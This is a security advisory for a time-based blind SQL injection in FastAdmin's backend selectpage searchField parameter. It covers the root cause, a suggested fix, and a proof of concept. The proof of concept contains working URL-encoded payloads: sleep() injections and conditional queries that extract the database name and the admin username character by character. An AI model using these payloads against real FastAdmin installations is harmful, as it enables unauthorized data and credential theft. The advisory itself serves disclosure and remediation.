fastadmin 1.7.0.20250506 - SQL injection
Title: SQL Injection Vulnerability in FastAdmin ≤ 1.7.0.20250506 (searchField Parameter)#
BUG_Author: pemic
Affected Version: FastAdmin ≤ 1.7.0.20250506
Vendor: FastAdmin Official
Software: FastAdmin GitHub Repository
Vulnerability Files:
application/common/controller/Backend.phpthinkphp/library/think/db/Query.php
Description:#
A time-based blind SQL injection vulnerability exists in the selectpage() method of FastAdmin's Backend controller. The vulnerability is caused by insufficient sanitization of the searchField parameter before it is used in database queries. When the field name contains special characters like parentheses (), ThinkPHP's Query builder treats it as a raw SQL expression, allowing SQL injection.
Vulnerability Analysis:#
Root Cause:
In file
application/common/controller/Backend.php, lines 494-521, thesearchFieldparameter is used to construct WHERE clauses:
$searchfield = (array)$this->request->request("searchField/a");
// ...
$searchfield = is_array($searchfield) ? implode($logic, $searchfield) : $searchfield;
// ...
$query->where($searchfield, "like", "%" . reset($word) . "%");ThinkPHP Query.php Trigger:
In
thinkphp/library/think/db/Query.php, line 1300, when a field name contains special characters like(), it is treated as a raw SQL expression:
} elseif (is_string($field) && preg_match('/[,=\>\<\'\"\(\s]/', $field)) {
$where[] = ['exp', $this->raw($field)];This allows the entire field name to be executed as raw SQL without any sanitization.
Attack Vector:
An authenticated backend user can inject SQL statements through the
searchFieldparameter's value.The injection point is in the WHERE clause, making time-based blind injection possible.
Proof of Concept:#
Prerequisites:
Valid backend account (any privilege level)
Access to admin panel
Step 1: Login to admin panel
POST /admin.php/index/login
username=admin&password=admin123
Step 2: Send malicious request with SQL injection payload
Prerequisites: All requests must include
X-Requested-With: XMLHttpRequestheader, otherwise the vulnerable code path will not be triggered.
Normal request:
Decoded: searchField[]=id&q_word[]=test
GET /admin.php/auth/admin/index?keyField=id&searchField%5B%5D=id&q_word%5B%5D=testTime-based SQL injection (2 second delay):
Decoded: searchField[]=1)and(sleep(2))and(1&q_word[]=1
GET /admin.php/auth/admin/index?keyField=id&searchField%5B%5D=1%29and%28sleep%282%29%29and%281&q_word%5B%5D=1Step 3: Extracting data using conditional time-based injection
Extract first character of database name (expected: 'f' for 'fastadmin'):
Decoded: searchField[]=1)and(select case when substring(database()from 1 for 1)='f' then sleep(2) else 1 end)and(1&q_word[]=1
GET /admin.php/auth/admin/index?keyField=id&searchField%5B%5D=1%29and%28select%20case%20when%20substring%28database%28%29from%201%20for%201%29%3D%27f%27%20then%20sleep%282%29%20else%201%20end%29and%281&q_word%5B%5D=1If response delays ~2 seconds → character matches
If response is immediate → character does not match
Extract first character of admin username (expected: 'a'):
Decoded: searchField[]=1)and(select case when substring((select username from fa_admin limit 1)from 1 for 1)='a' then sleep(2) else 1 end)and(1&q_word[]=1
GET /admin.php/auth/admin/index?keyField=id&searchField%5B%5D=1%29and%28select%20case%20when%20substring%28%28select%20username%20from%20fa_admin%20limit%201%29from%201%20for%201%29%3D%27a%27%20then%20sleep%282%29%20else%201%20end%29and%281&q_word%5B%5D=1Step 4: Verify exploitation
| Test | Payload | Expected Response Time |
|---|---|---|
| Baseline | searchField[]=id | ~0.04s |
| sleep(2) | searchField[]=1)and(sleep(2))and(1 | ~2.0s |
| sleep(3) | searchField[]=1)and(sleep(3))and(1 | ~3.0s |
| DB name='f' (TRUE) | ...database()...='f'...sleep(2)... | ~2.0s |
| DB name='z' (FALSE) | ...database()...='z'...sleep(2)... | ~0.04s |
| Username='a' (TRUE) | ...username...='a'...sleep(2)... | ~2.0s |
Impact:#
An attacker with any backend account can:
Extract sensitive data from database (usernames, password hashes, tokens)
Retrieve database structure information (database name, table names, column names)
Potentially escalate privileges by obtaining admin credentials
Access all data stored in the database
Tested Environment:#
FastAdmin Version: 1.7.0.20250506
PHP Version: 7.4
MySQL Version: 5.7.44
ThinkPHP Version: 5.0.24
Suggested Fix:#
Add validation for the searchField parameter in Backend.php:
$searchfield = (array)$this->request->request("searchField/a");
// Add validation - only allow alphanumeric, underscore and dot
$searchfield = array_filter($searchfield, function($field) {
return preg_match('/^[a-zA-Z_][a-zA-Z0-9_\.]*$/', $field);
});
if (empty($searchfield)) {
$searchfield = ['id']; // Default safe field
}
Timeline:#
2025-12-18: Vulnerability discovered
2025-12-18: Report submitted to VulDB